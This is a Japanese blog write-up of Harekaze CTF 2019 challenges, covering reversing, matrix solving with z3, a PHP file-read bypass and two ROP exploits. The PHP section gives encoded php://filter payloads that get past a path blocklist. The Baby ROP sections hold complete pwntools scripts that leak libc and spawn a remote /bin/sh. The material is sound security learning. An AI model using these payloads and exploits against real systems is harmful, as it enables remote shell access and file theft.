Harekaze CTF 2019 writeup

Harekaze CTF 2019 - Harekazeharekaze.com

今後のために、せっかくなので解いた問題の記録残しておこうと思います。

scramble

正しいフラグを標準入力から入れるとCorrect!と表示されるプログラムが与えられるみたいなんで、そこから逆算してフラグを求める問題っぽい。とりあえず入力はscrambleという関数に掛けられて、正解の値と比較される。scrambleのコードを逆コンパイルすると、

void scramble(long lParm1)
{
  byte bVar1;
  int iVar2;
  byte bVar3;
  byte bVar4;
  int iVar5;
  uint uVar6;
  int *piVar7;
  uint uVar8;
  uint uVar9;
  byte *pbVar10;
  
  piVar7 = table;
  uVar6 = 0;
  do {
    iVar2 = *piVar7;
    pbVar10 = (byte *)((long)(int)(uVar6 / 7) + lParm1);
    bVar1 = *pbVar10;
    bVar3 = (char)uVar6 + (char)(uVar6 / 7) * -7;
    iVar5 = iVar2 / 7 + (iVar2 >> 0x1f);
    bVar4 = (char)iVar2 + ((char)iVar5 - (char)(iVar2 >> 0x1f)) * -7;
    uVar8 = 1 << (bVar3 & 0x1f);
    uVar9 = 1 << (bVar4 & 0x1f);
    *pbVar10 = (byte)(((int)((uint)*(byte *)(lParm1 + (long)(iVar5 - (iVar2 >> 0x1f))) & uVar9) >>
                      (bVar4 & 0x1f)) << (bVar3 & 0x1f)) | ~(byte)uVar8 & bVar1;
    pbVar10 = (byte *)(lParm1 + (long)(*piVar7 / 7));
    *pbVar10 = *pbVar10 & ~(byte)uVar9;
    iVar2 = *piVar7;
    uVar6 = uVar6 + 1;
    piVar7 = piVar7 + 1;
    pbVar10 = (byte *)(lParm1 + (long)(iVar2 / 7));
    *pbVar10 = *pbVar10 | (byte)(((int)((uint)bVar1 & uVar8) >> (bVar3 & 0x1f)) << (bVar4 & 0x1f));
  } while (uVar6 != 0x10a);
  return;
}

こんなのが出てきたので、これを頑張って読んだら、要するに

for (int i = 0; i < 0x10a; i++) {
    int j = table[i];
    swap(input[i/7]のi%7ビット目、input[j/7]のi%7ビット目);
}

みたいなことをやってることが分かったので、これの逆関数はiを逆順で回してやればいいんで、それで埋め込まれてる値を元に戻してやればフラグが出てきた。

ONCE UPON A TIME

与えられたプログラムを読んでみると、入力を25文字ずつに区切って、それをuint8として5x5行列にして、別の定数の行列と(mod 251で)掛け合わせて、その結果を16進数で繋げて出力しているプログラムのようだった。なんで、有限体上での逆行列が求まればそれで終わりっぽいんだけど、スクラッチで書くのめんどくさいし、既存の実装もよく分からなかったのでSMTソルバーに解かせることにした。

import Control.Monad
import Data.List
import Data.SBV

input = [[[234, 89, 41, 233, 126], [247, 120, 6, 187, 67], [236, 48, 63, 48, 70], [115, 222, 25, 247, 230], [142, 221, 195, 71, 243]], [[55, 62, 228, 192, 182], [98, 188, 55, 118, 79], [116, 203, 184, 187, 146], [25, 231, 181, 219, 197], [156, 164, 164, 32, 24]]]

mat = [[1, 3, 2, 9, 4], [0, 2, 7, 8, 4], [3, 4, 1, 9, 4], [6, 5, 3, -1, 4], [1, 4, 5, 3, 5]]

main :: IO ()
main = do
    print =<< (sat $ gemm mat (input !! 0) True)
    print =<< (sat $ gemm mat (input !! 0) False)
    print =<< (sat $ gemm mat (input !! 1) True)
    print =<< (sat $ gemm mat (input !! 1) False)

gemm :: [[Int]] -> [[Int]] -> Bool -> Symbolic ()
gemm b c flip = do
    a <- forM [0..4] $ \i -> do
        forM [0..4] $ \j -> do
            e <- sInt32 $ "a_" ++ show i ++ "_" ++ show j
            constrain $ e .>= 0x20 &&& e .<= 0x7f
            return e
    b <- return $ map (map fromIntegral) b
    c <- return $ map (map fromIntegral) c
    (a, b) <- return $ if flip then (b, a) else (a, b)
    
    let c_ = [ [ sum (zipWith (*) r c) `sMod` 251 | c <- transpose b ] | r <- a ]

    constrain $ c .== c_

行列積が一致しているかどうかを比較するだけのナイーブなコード。出力は行列2個分で、それが行列を右から掛けるか左から掛けるかランダムな実装になっていたので、両方試す。入力は文字列だと分かっているので制約を掛けてやらないと大きい数が出てきてしまうのでちゃんと範囲を入れてやる必要がある。これぐらいのサイズならz3で1分程度で求まった。

Encode & Encode

なんかファイルパスを指定したらそれをfile_get_contents()して返してくれるPHPのWebアプリが与えられるので、フラグのファイル名与えて中身教えてもらうという問題のようだ。が、

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

ファイルのパスに特定の文字列が入っていたらはじかれる処理が入っていたり、

$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);

ファイルの中身にフラグが入っていたら消されたりする処理が入っているので二段階でこれを突破する必要がある。

1つ目に関しては、ファイル名のチェックがjsonのデコードの前に行われているという問題のあるコードになってるので、そこを突いて文字列をjsonエスケープ文字でエスケープして送れば突破できる。フラグが入っているパスは "/flag" なので、とりあえず "/\u0066lag" とか送ってやるとcensoredされたフラグがゲットできる。

2つ目に関しては、phpのストリームフィルターというもので突破できる。"php://filter/read=<なんか関数>/resource=<入力リソース>" とかやると、入力に対して任意の(?)phpの関数を適用しながら読んでくれるみたいだ。なので、今回は "php://filter/read=convert.base64-encode/resource=/flag" とかやると、base64エンコードした内容が貰えるのでチェックを回避できる。このパス中の "php"と"flag"がパスチェックに引っかかるので、"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag" として送ればフラグをbase64エンコードしたものがゲットできる。

(´・_・`).oO(なんだこれ。PHP頭おかしいだろう・・・)

Baby ROP

サーバーをハックして鍵ゲットしろみたいな問題。プログラムのバイナリは貰える。とりあえず逆コンパイルしてみたら、こんな単純なプログラムだ。

undefined8 main(void)
{
  undefined local_18 [16];
  
  system("echo -n \"What\'s your name? \"");
  __isoc99_scanf(&DAT_004006c5,local_18);
  printf("Welcome to the Pwn World, %s!\n",local_18);
  return 0;
}

どう見てもバッファオーバーフローする危ないコードだけど、実際具体的に攻撃したことはなかったのでなかなか難しかった。

この問題のキモはsystem関数が呼ばれていることみたいだ。systemが呼ばれていることで、リロケーションされない本体のバイナリの固定のアドレスに、system関数へのサンク関数が作られる。なので、格段に攻撃がやりやすくなっているみたいだ。

アセンブリコードを読むと、この関数はスタック8バイト使ってるので、ripの保存先がscanfのバッファーの24バイト目からになっていることが分かる。なので、ここに書いてやればretで好きなアドレスに飛べる。

f:id:tanakh:20190519235341p:plain

これでsystem関数に飛びたいのだが、x86_64では1つ目のポインタ変数がrdiレジスタで渡されるので、バッファオーバーフローでは直接書き込めない。なので、rdiにpopするコードを経由してrdiに好きな値を書き込ませる。プログラム中に pop rdi; ret という命令列が存在していれば、ここに飛ぶことによってrdiに好きな値を書き込ませて好きな関数をコールできることになる。

そんな都合の良い命令列があるのか?というと実際にあるみたいだ。__libc_csu_init()の最後の部分、

                  ...
00400682  41 5f   POP  R15
00400684  c3      RET

pop r15 の2バイトのうち、後ろ1バイトだけだとpop rdiになるんで、0x00400683からだと、

                  ...
00400683  5f      POP  RDI
00400684  c3      RET

になるみたいだ。これを使えば、

f:id:tanakh:20190520001152p:plain

こういう順でメモリを書いてやれば、好きな引数でsystem()を呼び出せる。systemで何を呼び出すのか?小さいバイナリなので存在する文字列は限られているが、system/bin/shを利用する都合上、"/bin/sh" は存在している。というか、まさにこれを呼び出してしまえばリモートマシンでシェルを好き放題いじれる。

というわけで、結局、何を送れば良いのかというと、適当な文字24バイト+pop rip; retのアドレス+"/bin/sh"のアドレス+systemのアドレス、と言うことになる。

これをシコシコ組み立てればいいのだが、なんかpythonpwntools という、それ用の処理を抽象的に組み立てられる死ぬほど便利なツールがあるらしいのでそれを使ってみた。

from pwn import *

context.clear(arch='amd64')
context.log_level = 'debug'

io = remote('problem.harekaze.com', 20001)

# "/bin/sh" のアドレス取得
elf = ELF("./babyrop")
binsh = next(elf.search('/bin/sh'))

# system("/bin/sh") を呼び出すためのバイト列を作ってくれるやつ
rop = ROP('./babyrop')
rop.system(binsh)
# print rop.dump()

io.recv() # "What's your name?" 受信
# cyclic()はde Bruijn sequenceを作ってくれる関数
# rop.chain()は組み立てたバイト列を返す
payload = cyclic(24) + rop.chain()
io.sendline(payload)

# 入出力を端末に繋いでやりたい放題
io.interactive()

なんだこのツールは・・・なんかいろいろ揃いすぎててやばすぎる。

これで他人のマシンにshしてコマンド実行しまくれるようになったのだが、実際やってみるとまじでできちゃうんだ・・・という感じが強くて、怖い。・・・怖いけどなんだか成し遂げた感があってそれも怖い・・・(((´・_・`))).oO(とりあえずスタックオーバーフローには気をつけような・・・まずはC言語使うのやめるところから始めようか)

ちなみにこうやってreturnで関数呼び出しながらプログラム実行していくのをreturn oriented programming (ROP)と呼ぶらしく、その際に使えるバイナリ中の有用(有用とは)な命令列をgadgetとか呼ぶらしい。

Baby ROP 2

さっきよりちょっと難しくなったバージョン。

今度はlibcが動的リンクされていて、あんまり便利な関数が使われていないので、それらへの静的なアドレスが手には入らない。

undefined8 main(void)
{
  ssize_t sVar1;
  undefined local_28 [28];
  int local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  printf("What\'s your name? ");
  sVar1 = read(0,local_28,0x100);
  local_c = (int)sVar1;
  local_28[(long)(local_c + -1)] = 0;
  printf("Welcome to the Pwn World again, %s!\n",local_28);
  return 0;
}

なんで28バイトのバッファーに堂々と0x100バイトreadしてるんだとかツッコミどころはすごいけど、攻撃するのは結構難しい。

libcが動的リンクされるので、なんとかそこのsystemを呼び出したいが、最近の(最近とは)Linuxでは、動的リンクされるアドレスやスタックアドレスはセキュリティーのためにランダマイズされるので、まずはそのアドレスを特定してやらなければならない。特定した上でプロセスを終了させずに再度脆弱性のある入力を行わさせないといけない。

とりあえず固定アドレスが得られる関数としてはプログラム中で使われているsetvbufreadprintfの3つだが、このうち情報の漏洩に使えるのはprintfだけだ。このprintfで、printfのgotエントリーの値を表示させる。gotにはロードされた実体へのアドレスが実行時に解決されて入っているので、これを表示させて手に入れて、soファイル中でのオフセットから引いてやれば、libcがどこにロードされたか判明する。

from pwn import *

context.clear(arch='amd64')
context.log_level = 'debug'

io = remote('problem.harekaze.com', 20005)

elf = ELF('babyrop2')
libc = ELF('libc.so.6')

printf_got = elf.got['printf']
printf_offset = libc.symbols['printf']

rop = ROP('./babyrop2')

# printf(printf_got + 1) を呼び出すバイト列の積み込み
rop.printf(printf_got + 1)

# "What's your name?" 読み飛ばし
io.recv()

# 今回はオフセットは40バイト
payload = cyclic(40) + rop.chain()
io.sendline(payload)

# "Welcome to the Pwn again, .... " 読み飛ばし
io.recv()

# printf(printf_got + 1) が表示したもの(5バイト)を受信して数値に変換
printf_libc = u64(b'\x00' + io.recv(5) + b'\x00' * 2)
# オフセットを引いてlibcのロードされたアドレスを計算する
libc_base = printf_libc - printf_offset

スタックにprintfのgotエントリーをprintfするように積んで、その中身を表示させる。ただ何回か実行しても、下位1バイトは必ず0になるところにロードされるらしいので、何も表示されない(文字列null終端なので0からだと何も表示されない)。なので、+1したアドレスから表示してもらうことにした。また、7,8バイト目も必ず0になるみたいなので(そういえば論理アドレス48ビットだったか)結局確定で送られてくるのは2バイト目から6バイト目までの最長5バイトである(運が悪いと途中で0が入ってしまうが、確率は高くないし何回もやれば良い)。

で、libcのアドレスが手には入ったが、次のプロセスではまた値が変わってしまうので、同じプロセスでなんとかこの値を使ってsystemを呼び出さなければならない。じゃあどうすれば良いのかというと、mainを再度呼び出してしまえば良い。printfからretした後、次に実行されるのは、その+8のアドレスになるので、そこにmainのアドレスを書いてやればprintfした後にmainを呼び出させることができる。

f:id:tanakh:20190520010817p:plain

これで、サーバーはまんまとまた入力を受け付けるようになるので、再度、今度はsystem("/bin/sh")を実行させるバイト列を送ってやれば良い。

system_offset = libc.symbols['system']
binsh_offset = next(libc.search('/bin/sh'))

# "What's your name?" 読み飛ばし
io.recv()
rop = ROP('./babyrop2')
# オフセットを足してアドレス計算して積む
rop.call(libc_base + system_offset, [libc_base + binsh_offset])
payload = cyclic(40) + rop.chain()
io.sendline(payload)

# 端末に繋ぐ
io.interactive()

これで乗っ取り完了。

二段階で攻撃するのが結構大変で、いろいろ調べて勉強になった。これもこんなコードで乗っ取られてしまうんだなあと言う印象が強くて、思ったより世の中恐ろしいんだなと。

Twenty-five

アルファベットがシャッフルされたppencodeされたperlのコードが与えられるので、元に戻して実行しろという問題。

存在する予約語から制約書いて解けば解けると思うが、めんどくさかったので、手で確定する文字から順に埋めていった。zを除く25文字しかないしね。そういう風に作られてるのか分からないけれど、すべて確定的に決まっていった。

[a-z().]

JavaScript[a-z().]な文字のみを使って1337を作れという問題。コード長は200文字未満でなければいけない。

JavaScriptは全然詳しくないので手探り感がすごかったが、nodeのreplでいろいろいじいじしていると、関数.nameで関数名が文字列として取れることが分かった。なので、それの.lengthを取ればなんらかの数が作れる。数を文字列の長さとして表すなら、かけ算はa.repeat(b.length)だし、足し算はa.concat(b)だし、引き算はa.substr(b.length)である。

JavaScriptはbuiltin関数が意外と少なくて、なおかつ大文字が使えないのでどこから基本の文字列引っ張ってくるか悩ましかったが、とりあえず4 = eval.name.length6 = escape.name.length8 = unescape.name.length7 = console.profile.name.length あたりの数を拾えた。

んで、1337をどう表現するかで、いろいろいじいじしてたら 7*6*8*4-7 という式が出てきたので、これをさっきのルールで変換していくと

console.profile.name.repeat(escape.name.length).repeat(unescape.name.length).repeat(eval.name.length).substr(console.profile.name.length).length

というプログラムができあがった(145文字)。

これはなんか最短を目指すと面白い問題な気がする。あと今気付いたけどtypeof(x)とかの方が短くなりそうな気がした。